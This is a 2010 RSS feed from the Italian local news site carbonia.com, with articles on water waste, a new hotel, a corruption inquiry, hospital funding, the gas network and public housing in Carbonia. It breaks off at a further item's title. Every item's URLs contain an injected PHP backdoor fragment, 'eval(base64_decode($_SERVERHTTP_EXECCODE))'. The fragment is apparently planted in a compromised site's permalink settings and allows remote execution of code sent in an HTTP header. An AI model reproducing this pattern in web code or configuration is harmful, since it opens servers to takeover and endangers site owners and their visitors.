<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>carbonia.com</title>
	<atom:link href="http://www.carbonia.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.carbonia.com</link>
	<description>Carbonia.com è un quotidiano di informazione su Carbonia con notizie dal Sulcis</description>
	<lastBuildDate>Wed, 01 Sep 2010 01:00:08 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>L&#8217;acqua potabile finisce in mare.</title>
		<link>http://www.carbonia.com/2010/09/01/lacqua-potabile-finisce-in-mare/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.carbonia.com/2010/09/01/lacqua-potabile-finisce-in-mare/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 01 Sep 2010 00:58:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Notizie]]></category>
		<category><![CDATA[abbanoa]]></category>
		<category><![CDATA[acqua]]></category>
		<category><![CDATA[Carbonia]]></category>

		<guid isPermaLink="false">http://www.carbonia.com/?p=251</guid>
		<description><![CDATA[In piena notte un fiume d&#8217;acqua prende a sgorgare da uno dei serbatoi di accumulo a monte della città e si incanala verso il mare. Migliaia di litri di acqua potabile sprecata mentre in diversi centri del Sulcis sono scattate le restrizioni dell&#8217;approvvigionamento. Migliaia di litri di acqua potabile quasi ogni notte finiscono in mare. [...]]]></description>
			<content:encoded><![CDATA[<h4><strong>In piena notte un fiume d&#8217;acqua prende a sgorgare da uno dei serbatoi di  accumulo a monte della città e si incanala verso il mare. Migliaia di  litri di acqua potabile sprecata  mentre in diversi centri del Sulcis  sono scattate le restrizioni dell&#8217;approvvigionamento.</strong></h4>
<p>M<span id="testo_articolo"><span id="us_ColonnaCentrale_testo">igliaia  di litri di acqua potabile quasi ogni notte finiscono in mare. Uno  spreco e una beffa, se si considera che di recente nel Sulcis Iglesiente  sono scattate le restrizioni idriche o sono arrivate bollette da  capogiro. Eppure pare non esserci un rimedio immediato per evitare che  quasi tutte le notti vada persa una considerevole quantità di acqua. Il  liquido sgorga dal serbatoio Nord di Carbonia e si incanala nel canale  di guardia che attraversa la città e sfocia in mare. Difficile  determinare con esattezza quanta ne vada sprecata, ma dalla condotta che  esce dal serbatoio escono non meno di cinque litri di acqua al secondo.</span></span></p>
<p><span id="testo_articolo"><span id="us_ColonnaCentrale_testo"><strong></strong>Abbanoa la società di gestione delle risorse idriche che si occupa  anche dell&#8217;approvvigionamento della città, ha ammesso di essere a  conoscenza del problema. Tuttavia, nonostante vari tentativi per  risolverlo, non è ancora riuscita ad arginare l&#8217;ingente spreco di acqua  potabile che si ripete da settimane.<br />
Ad accorgersene sono stati gli  abitanti dei primi palazzi di via Dalmazia, dove il canale di guardia si  interra per poi proseguire verso il mare. A svegliarli attorno alle due  del mattino è stato il rumore dell&#8217;acqua che scendeva a cascata. A  molti è parsa cosa strana dato che non stava assolutamente piovendo. Il  fenomeno si è ripetuto anche anche durante la notte tra sabato e  domenica. Verso le quattro del mattino ecco il solito fiume d&#8217;acqua  scendere dalle colline attorno alla città e scorrere verso il mare.</span></span></p>
<p><span id="testo_articolo"><span id="us_ColonnaCentrale_testo"><strong></strong>Non c&#8217;è voluto molto per scoprire da dove proveniva tutta quell&#8217;acqua.  Prima che il flusso si interrompesse  (avviene di solito dopo l&#8217;alba) è  stato sufficiente risalire il canale di guardia per arrivare dritti ad  uno dei serbatoi di accumulo che la notte vengono riempiti per  alimentare, durante il giorno, la rete di distribuzione dalla città. I  deposito in questione è quello “Nord” costruito pochi anni fa alle  pendici del monte Leone. Ad una cinquantina di metri dalla grande vasca,  un getto d&#8217;acqua usciva da una grossa condotta. E non si trattava di un  filino, ma di un getto imponente valutabile (ma potrebbe essere una  stima per difetto) attorno ai cinque litri al secondo. L&#8217;acqua ha  continuano a scorrere per quattro o cinque cinque ore. Tutto questo si  ripeterebbe tre o quattro volte alla settimana. Uno spreco in un periodo  in cui Abbanoa deve ricorrere a restrizioni idriche.</span></span></p>
<p><span id="testo_articolo"><span id="us_ColonnaCentrale_testo"><strong></strong>Sulle cause dell&#8217;inconveniente Abbanoa offre una spiegazione. Il flusso  d&#8217;acqua dal serbatoio di accumulo sarebbe riconducibile a una riduzione  sensibile dei consumi. In altre parole i tecnici inviano al serbatoio  di accumulo sempre la stessa quantità d&#8217;acqua calcolata sulla base dei  consumi standard, non essendoci un dispositivo che riduca immediatamente  l&#8217;apporto. Quando i consumi per un motivo o per l&#8217;altro calano in  maniera sensibile ecco che l&#8217;acqua in eccesso tracima e finisce nel  canale. La situazione sarebbe già sotto controllo perché Abbanoa  assicura di avere iniziato a regolamentare (ossia a diminuire)  l&#8217;approvvigionamento dell&#8217;impianto. Ma prima che l&#8217;operazione venga  perfezionata, altri migliaia di litri di acqua potabile rischiano di  finire in mare. (Fonte: Unionesarda)<br />
</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.carbonia.com/2010/09/01/lacqua-potabile-finisce-in-mare/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La coop operaia costruirà un albergo da 120 posti letto</title>
		<link>http://www.carbonia.com/2010/08/08/la-coop-operaia-costruira-un-albergo-da-120-posti-letto/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.carbonia.com/2010/08/08/la-coop-operaia-costruira-un-albergo-da-120-posti-letto/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 08 Aug 2010 11:17:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Notizie]]></category>
		<category><![CDATA[albergo]]></category>
		<category><![CDATA[Carbonia]]></category>
		<category><![CDATA[Flore]]></category>
		<category><![CDATA[Nino]]></category>
		<category><![CDATA[Reds]]></category>

		<guid isPermaLink="false">http://www.carbonia.com/?p=249</guid>
		<description><![CDATA[Da coop di operai che gestiva uno spaccio aziendale a costruttori di hotel. Quando si dice diversificare gli investimenti: ha deciso di seguire questa strada l&#8217;Euralcoop, aggiungendo il turismo al commercio. Sarà, infatti, la società che mosse i primi passi una trentina di anni fa nel polo industriale di Portovesme a realizzare a Carbonia l&#8217;albergo [...]]]></description>
			<content:encoded><![CDATA[<p><span id="testo_articolo"><span id="us_ColonnaCentrale_testo">Da  coop di operai che gestiva uno spaccio aziendale a costruttori di  hotel. Quando si dice diversificare gli investimenti: ha deciso di  seguire questa strada l&#8217;Euralcoop, aggiungendo il turismo al commercio.  Sarà, infatti, la società che mosse i primi passi una trentina di anni  fa nel polo industriale di Portovesme a realizzare a Carbonia l&#8217;albergo  da 120 posti letto che sorgerà in via Costituente, di fronte allo stadio  e affianco al liceo Scientifico.<br />
L&#8217;hotel nascerà nonostante un  passaggio di consegne: due mesi fa, quando tutto era pronto per l&#8217;avvio  dei lavori, l&#8217;Euralcoop ha infatti rilevato aree, progetti e tutta la  sfilza di autorizzazioni urbanistiche dalla Ichnos, la società di  Iglesias a cui va comunque il merito di aver pensato e progettato la  creazione della più grande struttura ricettiva che la città abbia mai  avuto. Ma dopo aver acquistato il terreno dall&#8217;ex Iacp, aver disegnato  l&#8217;albergo, incassato i nulla osta e addirittura recintato l&#8217;area del  cantiere, una serie di circostanze stavano portando la Ichnos a  rinunciare all&#8217;impresa. Invece l&#8217;albergo, che continuerà a chiamarsi  “Sirai”, ha cambiato proprietà prima ancora che venisse posata la prima  pietra.<br />
Per la città cambia poco: già in settembre partiranno gli scavi e i lavori per un investimento da 6 milioni di euro.<br />
A  cambiare è però il padrone di casa dell&#8217;hotel: è quell&#8217;Euralcoop che  nel 1985 gestiva lo spaccio aziendale a Portovesme e che quattro anni  dopo aprì a Carbonia la prima grande struttura commerciale. Ora tramite  la Reds srl, società cento per cento Euralcoop, si mette a costruire  alberghi: «La decisione &#8211; spiega l&#8217;amministratore Nino Flore &#8211; non è  stata presa a cuor leggero. Realizzeremo il progetto noi, nati come  cooperativa operaia, perché riteniamo che si possa tramite questa  impresa far fare a Carbonia il salto di qualità turistico sfruttando i  flussi d&#8217;oltralpe».<br />
L&#8217;investimento resta invariato: servono sempre 6  milioni di euro, i posti letto saranno 120, quelli di lavoro una  ventina a regime, qualcuno in più nell&#8217;alta stagione: «Non ci  nascondiamo le difficoltà &#8211; prosegue Flore &#8211; ma come siamo stati i primi  a lanciare la città dal punto di vista commerciale, forse in modo  presuntuoso pensiamo che saremo i primi a dare inizio a un percorso  turistico di massa». Precisazione non casuale perché comunque, fra bed  and breakfast, un piccolo albergo e diversi affittacamere, Carbonia si  affaccia nel campo della ricettività con un&#8217;ottantina di posti letto. E  l&#8217;Hotel Centrale continua a restare chiuso da vent&#8217;anni e in degrado  totale. (Fonte: Unionesarda)<br />
</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.carbonia.com/2010/08/08/la-coop-operaia-costruira-un-albergo-da-120-posti-letto/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flavio Carboni mirava a lottizzazioni nel Sulcis</title>
		<link>http://www.carbonia.com/2010/07/17/flavio-carboni-mirava-a-lottizzazioni-nel-sulcis/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.carbonia.com/2010/07/17/flavio-carboni-mirava-a-lottizzazioni-nel-sulcis/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 17 Jul 2010 13:55:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Notizie]]></category>
		<category><![CDATA[corruzione]]></category>
		<category><![CDATA[cortoghiana]]></category>
		<category><![CDATA[lombardo]]></category>
		<category><![CDATA[parco]]></category>
		<category><![CDATA[rinnovabili]]></category>

		<guid isPermaLink="false">http://www.carbonia.com/?p=246</guid>
		<description><![CDATA[C&#8217;era anche il progetto di parco eolico che le società Quantas e Fonteolica progettavano di realizzare sui terreni degli eredi Fenu (una delle quali è la madre del presidente del Consiglio regionale Claudia Lombardo) tra le carte sequestrate dai carabinieri in casa di Pinello Cossu. L&#8217;ex consigliere provinciale del Sulcis, indagato assieme a Flavio Carboni [...]]]></description>
			<content:encoded><![CDATA[<p>C&#8217;era anche il progetto  di parco eolico che le società Quantas e Fonteolica progettavano di  realizzare sui terreni degli eredi Fenu (una delle quali è la madre del  presidente del Consiglio regionale Claudia Lombardo) tra le carte  sequestrate dai carabinieri in casa di Pinello Cossu. L&#8217;ex consigliere  provinciale del Sulcis, indagato assieme a Flavio Carboni per  corruzione, custodiva il carteggio assieme alle bozze di protocollo  d&#8217;intesa mai firmate dalla Regione. Per arrivare all&#8217;identificazione dei terreni e dei progetti gli esperti  incaricati dalla procura stanno incrociando carte, mappali e  autorizzazioni. Il punto di partenza è l&#8217;accordo stretto tra Fonteolica  (società a partecipazione pubblica che ha sede a Prato e il cui  amministratore unico si chiama Renzo Puccetti) e Karios 32, una delle  holding costituite dal gruppo Carboni e affidata al &#8220;prestanome&#8221; Pino  Tomassetti. Si tratta di una  dichiarazione d&#8217;intenti con la quale le due società decidono di fondare  una NewCo nella quale far confluire progetti, terreni, opzioni e  autorizzazioni. Tra queste anche la pratica che Fonteolica, per suo  conto, aveva provveduto ad acquisire a seguito di accordo con la  veneziana Quantas, la società che ha stipulato il contratto d&#8217;affitto  per i terreni di Carbonia, di proprietà degli eredi Fenu. Sono stati gli stessi legali della compagine veneziana ad  aver dato conto, nelle scorse settimane, della costituzione di  un&#8217;associazione in partecipazione tra Quantas e Fonteolica, tanto che se  ne trova traccia anche nel ricorso presentato al Tar contro le delibere  anti-eolico adottate lo scorso 12 marzo dalla Giunta regionale. Resta ora da capire come il progetto sia  finito tra le carte sequestrate a Pinello Cossu, che i magistrati  riconducono al progetto di Flavio Carboni di mettere le mani sull&#8217;intero  affare delle energie rinnovabili in Sardegna. Tra il materiale  acquisito dalla Polizia giudiziaria, infatti, ci sono le copie di due  planimetrie realizzate da Fonteolica a proposito di un parco da  realizzare nella zona di Cortoghiana, non distante da Portovesme e  Nuraxi Figus. Proprio i terreni presi in affitto dagli eredi Fenu, con  contratto firmato lo scorso 10 marzo. Di un possibile interessamento del  comitato d&#8217;affari guidato da Flavio Carboni per quei tre mappali (che  ai proprietari renderanno 96 mila euro l&#8217;anno) si parlava da mesi, ma  fin qua non si erano mai trovati riscontri. C&#8217;é da precisare che né gli eredi Fenu né la presidente  Lombardo sono toccati dall&#8217;inchiesta in corso. Due mesi fa la stessa  esponente del Pdl aveva dato spiegazioni in merito: «Ho l&#8217;obbligo di  precisare che quei terreni sono di proprietà di mia madre e di mio zio,  che non si sono mai occupati di energie rinnovabili. Tempo fa la società  Quantas ha fatto sapere ai miei familiari di aver presentato un  ulteriore progetto al Comune di Carbonia, datato 7 agosto 2009, con  allegata relazione paesaggistica. L&#8217;ultimo atto che ha riguardato i miei  parenti è quello relativo alla stipula del contratto. Del resto della  procedura i miei non sanno niente, in quanto si sono limitati a cedere  il terreno. Dalle carte risulta chiaro: mia madre e mio zio non sono mai  stati direttamente interessati a realizzare un parco eolico». (Unionesarda)</p>
<p><span id="ctl00_cph_lblTesto"> </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.carbonia.com/2010/07/17/flavio-carboni-mirava-a-lottizzazioni-nel-sulcis/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La medicina nucleare rilancia il “Sirai”</title>
		<link>http://www.carbonia.com/2010/06/29/la-medicina-nucleare-rilancia-il-%e2%80%9csirai%e2%80%9d/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.carbonia.com/2010/06/29/la-medicina-nucleare-rilancia-il-%e2%80%9csirai%e2%80%9d/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 29 Jun 2010 22:05:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Notizie]]></category>
		<category><![CDATA[asl 7]]></category>
		<category><![CDATA[Carbonia]]></category>
		<category><![CDATA[Neurologia]]></category>
		<category><![CDATA[ospedale sirai]]></category>
		<category><![CDATA[Pediatria]]></category>
		<category><![CDATA[risonanza]]></category>
		<category><![CDATA[sirai]]></category>

		<guid isPermaLink="false">http://www.carbonia.com/?p=243</guid>
		<description><![CDATA[Dopo i tagli annunciati, la sanità del Sulcis incassa dalla Regione soldi veri: quasi due milioni di euro che serviranno a potenziare il reparto di Medicina nucleare e diagnostica per immagini dell&#8217;ospedale “Sirai” di Carbonia. Alla Asl 7 è stato infatti assegnato dall&#8217;assessorato regione alla Sanità un finanziamento di un milione e 680 mila euro, [...]]]></description>
			<content:encoded><![CDATA[<p><span id="testo_articolo"><span id="us_ColonnaCentrale_testo">Dopo i tagli annunciati, la sanità del Sulcis incassa  dalla Regione soldi veri: quasi due milioni di euro che serviranno a  potenziare il reparto di Medicina nucleare e diagnostica per immagini  dell&#8217;ospedale “Sirai” di Carbonia. Alla Asl 7 è stato infatti assegnato  dall&#8217;assessorato regione alla Sanità un finanziamento di un milione e  680 mila euro, fondi che rientrano in un cospicuo pacchetto di  contributi acquisiti dalla Regione tramite un bando europeo ed erogati  alle Asl con uno scopo preciso: consentire l&#8217;ammodernamento tecnologico  degli ospedali.<br />
<strong></strong></span></span></p>
<p><span id="testo_articolo"><span id="us_ColonnaCentrale_testo"><strong></strong>Le scelte sono avvenute dopo  una consultazione con l&#8217;Azienda sanitaria del Sulcis. Carbonia ha  puntato sull&#8217;alta diagnostica e, difatti, il finanziamento verrà  utilizzato per comprare due importantissimi macchinari: uno per la  risonanza magnetica ad alto campo e una nuova apparecchiatura per la  scintigrafia. La scelta è caduta su questi interventi per due motivi: da  un lato il macchinario per la scintigrafia, acquistato nel 1995, è  diventato obsoleto, dall&#8217;altro l&#8217;apparecchio per la risonanza magnetica  disponibile attualmente ha un utilizzo limitato quasi esclusivamente in  campo ortopedico e non, ad esempio, nella branca della neurologia.  Inoltre, il grado di definizione delle immagini non è eccelso.<br />
<strong></strong></span></span></p>
<p><span id="testo_articolo"><span id="us_ColonnaCentrale_testo"><strong></strong>Tutte ottime ragioni, insomma, che sembrano giustificare  ampiamente la decisione di usare i soldi stanziati dalla Regione per  l&#8217;acquisto di nuove apparecchiature per la scintigrafia e la risonanza  magnetica ad alto campo. «Abbiamo soddisfatto &#8211; ha rimarcato l&#8217;assessore  regionale alla Sanità Antonello Liori &#8211; le esigenze di territori spesso  trascurati».<br />
Ma l&#8217;acquisto di questi macchinari e il potenziamento  della medicina nucleare avrà risvolti positivi in un altro senso:  trattandosi di apparecchiature nuove e più potenti, si accorceranno  anche le liste di attesa. In questo momento, tranne ovviamente che per  le urgenze e per i pazienti ricoverati, per essere sottoposti a una  risonanza magnetica oppure a una scintigrafia occorre attendere dai due  ai tre mesi.<br />
<strong></strong></span></span></p>
<p><span id="testo_articolo"><span id="us_ColonnaCentrale_testo"><strong></strong>La Regione sembra procedere quindi  su due binari: chiede alle Asl di applicare il “patto del buon governo” e  di tagliare le spese sanitarie anche a costo di rinunciare a reparti  doppioni (nel mirino Ginecologia, Ortopedia, Pediatria) e, al contempo,  finanzia il potenziamento di alcuni settori. Scelte che hanno provocato  forti polemiche fra gli amministratori locali ma che vengono difese, e  motivate, da Giorgio Locci, consigliere regionale Pdl e componente della  Commissione Sanità: «Il disavanzo ci obbliga a superare il dualismo fra  Carbonia e Iglesias, eliminare gli sprechi per poter investire in nuove  strutture ora assenti, come ad esempio la Neurologia e la Pneumologia o  la creazione di reparti di eccellenza». (fonte:unionesarda.it)</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.carbonia.com/2010/06/29/la-medicina-nucleare-rilancia-il-%e2%80%9csirai%e2%80%9d/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rete del gas, via ai lavori entro l&#8217;anno</title>
		<link>http://www.carbonia.com/2010/05/27/rete-del-gas-via-ai-lavori-entro-lanno/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.carbonia.com/2010/05/27/rete-del-gas-via-ai-lavori-entro-lanno/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 27 May 2010 21:35:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Notizie]]></category>
		<category><![CDATA[Algeria]]></category>
		<category><![CDATA[bombole]]></category>
		<category><![CDATA[Galsi]]></category>
		<category><![CDATA[Metano]]></category>

		<guid isPermaLink="false">http://www.carbonia.com/?p=241</guid>
		<description><![CDATA[I siti che ospiteranno i “bomboloni”, cioè i serbatoi di accumulo, sono già stati prescelti: sono quattro aree pubbliche nelle vie Carducci, Mazzini, Puglie e Castelsardo. È, questo, l&#8217;atto che prelude alla partenza dei lavori per la realizzazione della rete del gas di città. Una maxi operazione da nove milioni di euro che scatterà «con [...]]]></description>
			<content:encoded><![CDATA[<p><span id="testo_articolo"><span id="us_ColonnaCentrale_testo">I siti che ospiteranno i “bomboloni”, cioè i serbatoi di  accumulo, sono già stati prescelti: sono quattro aree pubbliche nelle  vie Carducci, Mazzini, Puglie e Castelsardo. È, questo, l&#8217;atto che  prelude alla partenza dei lavori per la realizzazione della rete del gas  di città. Una maxi operazione da nove milioni di euro che scatterà «con  l&#8217;apertura dei cantieri entro la fine dell&#8217;anno», preannuncia il  sindaco Tore Cherchi.</span></span></p>
<p><span id="testo_articolo"><span id="us_ColonnaCentrale_testo"><strong></strong>Insomma, è iniziato il conto  alla rovescia e dal momento che l&#8217;appalto è già stato aggiudicato con un  iter che si protratto per anni, appare quasi come un semplice atto  dovuto l&#8217;approvazione del progetto definitivo in programma nella prima  quindicina di giugno. Il progetto della rete del gas di città decollerà  ancora prima che dall&#8217;Algeria arrivi il metano del Galsi. E per due  motivi: inutile aspettare che la condotta giunga sulle coste del Sulcis  dal nord Africa e sarebbe un peccato “sprecare” una progettazione che  già prevedeva da tanto tempo la possibilità di erogare nella rete  cittadina gas alternativi, in questo caso il gpl. L&#8217;orientamento del  Comune, anche per dare un segnale dinanzi a un&#8217;operazione che si sta  trascinando da quasi dieci anni, è di dare il via comunque ai lavori.  Questo servirebbe, inoltre, per rodare l&#8217;impianto in attesa che diventi  realtà il gasdotto italo algerino. </span></span></p>
<p><span id="testo_articolo"><span id="us_ColonnaCentrale_testo"><strong></strong>Il gas  inizialmente verrebbe acquistato nei luoghi di produzione, stoccato nei  depositi di accumulo individuati in quattro angoli della città e quindi  “spinto” verso tutte le utenze, oltre 17 mila, che saranno collegate  direttamente alle tubazioni. «Contiamo di iniziare entro il secondo  semestre del 2010 &#8211; aggiunge il primo cittadino &#8211; e di fare in modo che  la rete sia operante entro il biennio». Cioè: tempo un paio di anni e  spariranno le bombole del gas per cucinare o per lo scaldabagno. Può  essere che il prezzo dell&#8217;aria propanata sia leggermente superiore a  quello del metano algerino, ma il risparmio per le famiglie e le aziende  è comunque garantito e potrebbe aggirarsi attorno al 20-30 per cento.  Stima destinata a crescere con l&#8217;erogazione del metano.</span></span></p>
<p><span id="testo_articolo"><span id="us_ColonnaCentrale_testo"><strong></strong>I costi di tutta questa operazione riguardano da un lato esclusivamente  Carbonia (appunto nove milioni di euro, 120 chilometri di tubi) e  dall&#8217;altro i Comune del bacino 34 di cui fanno parte anche Calasetta,  Carloforte, San Giovanni Suergiu e Sant&#8217;Antioco (altri undici milioni).  Ma il primo Comune pronto è quello di Carbonia, non fosse altro perché  il progetto base esisteva da quasi dieci anni anche se, paradossalmente,  era stato stoppato e riveduto quando si era concretizzata l&#8217;ipotesi del  gasdotto algerino.(fonte:Uninesarda.it)</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.carbonia.com/2010/05/27/rete-del-gas-via-ai-lavori-entro-lanno/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Case di via Roux, nuova gara d&#8217;appalto</title>
		<link>http://www.carbonia.com/2010/05/25/case-di-via-roux-nuova-gara-dappalto/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.carbonia.com/2010/05/25/case-di-via-roux-nuova-gara-dappalto/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 25 May 2010 22:43:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Notizie]]></category>
		<category><![CDATA[alloggi]]></category>
		<category><![CDATA[Area]]></category>
		<category><![CDATA[case popolari]]></category>
		<category><![CDATA[graduatoria]]></category>

		<guid isPermaLink="false">http://www.carbonia.com/?p=239</guid>
		<description><![CDATA[Settantadue case (per ora) virtuali. Sono quelle popolari (16) e a canone concordato (60) che Area dovrebbe realizzare: i contenziosi e i problemi che sinora le hanno bloccate sono, in un caso, a un passo dall&#8217;essere definiti, per un altro esiste invece il rischio che il numero degli alloggi diminuisca. Molto dipenderà dalle decisioni, a [...]]]></description>
			<content:encoded><![CDATA[<p>S<span id="testo_articolo"><span id="us_ColonnaCentrale_testo">ettantadue case (per ora) virtuali. Sono quelle popolari  (16) e a canone concordato (60) che Area dovrebbe realizzare: i  contenziosi e i problemi che sinora le hanno bloccate sono, in un caso, a  un passo dall&#8217;essere definiti, per un altro esiste invece il rischio  che il numero degli alloggi diminuisca. Molto dipenderà dalle decisioni,  a giorni, della Regione che potrebbe sbloccare situazioni congelate da  anni. Riguardano due interventi molto attesi in città attesi: il  cantiere di via Roux e i progetti per Bacu Abis e Cannas di Sotto.<br />
Nella  prima delle questioni aperte e vicine alla soluzione, Area sta  costruendo 60 alloggi (30 bifamiliari) a canone convenzionato. Ma il  cantiere è chiuso da tre anni dopo che sono sorti solo 15 edifici,  lasciati peraltro allo stato grezzo. L&#8217;impresa d&#8217;appalto aveva  abbandonato tutto dopo aver scoperto che la zona scelta per l&#8217;intervento  di edilizia pubblica era edificabile solo in parte. Tre anni di  contenziosi con l&#8217;impresa sono giunti al termine nei giorni scorsi con  una definizione di massima dell&#8217;accordo di transazione. La ditta ha  deciso di rinunciare alla richiesta di danni e di ulteriori pretese e  riceverà alcune centinaia di migliaia di euro per i lavori svolti. A  quel punto Area aggiornerà il progetto e ribandirà una nuova gara  d&#8217;appalto. Bene che vada, tutta questa operazione dovrebbe concludersi  entro l&#8217;anno. Ad attendere con impazienza sono le 250 famiglie che dal  2007 compongono la graduatoria per l&#8217;assegnazione di queste case che,  per ora, esistono soltanto sulla carta.<br />
Rischiano, invece, un  drastico ridimensionamento i progetti relativi alle 16 case popolari che  l&#8217;Azienda deve costruire nella frazione di Bacu Abis e a Cannas di  Sopra, otto in entrambe le realtà. La situazione si è complicata non  poco: le progettazioni sono rimaste ferme per circa cinque anni  nell&#8217;ufficio tecnico comunale, sino a quando le concessioni edilizie non  sono scadute. Per entrambi gli interventi l&#8217;Azienda aveva a  disposizione 650 mila euro, che però non bastano più: con il passare del  tempo, infatti, secondo le attuali stime di mercato quelle risorse si  sono rivelate insufficienti per la costruzione di tutti gli alloggi ed  inoltre il progetto di Bacu Abis ha subito delle modifiche. Risultato: i  soldi stanziati in precedenza non soddisfano più l&#8217;investimento e la  palla è ritornata alla Regione. Dovrà decidere se integrare il  finanziamento portandolo a circa 800 mila euro per progetto oppure  procedere con i fondi originari. Se dovesse prevalere la seconda ipotesi  non nascerebbero più 16 appartamenti, ma bisognerà rinunciare alla  costruzione di quattro o cinque alloggi.</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.carbonia.com/2010/05/25/case-di-via-roux-nuova-gara-dappalto/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Venti ragazzi impegnati negli scavi archoelogici</title>
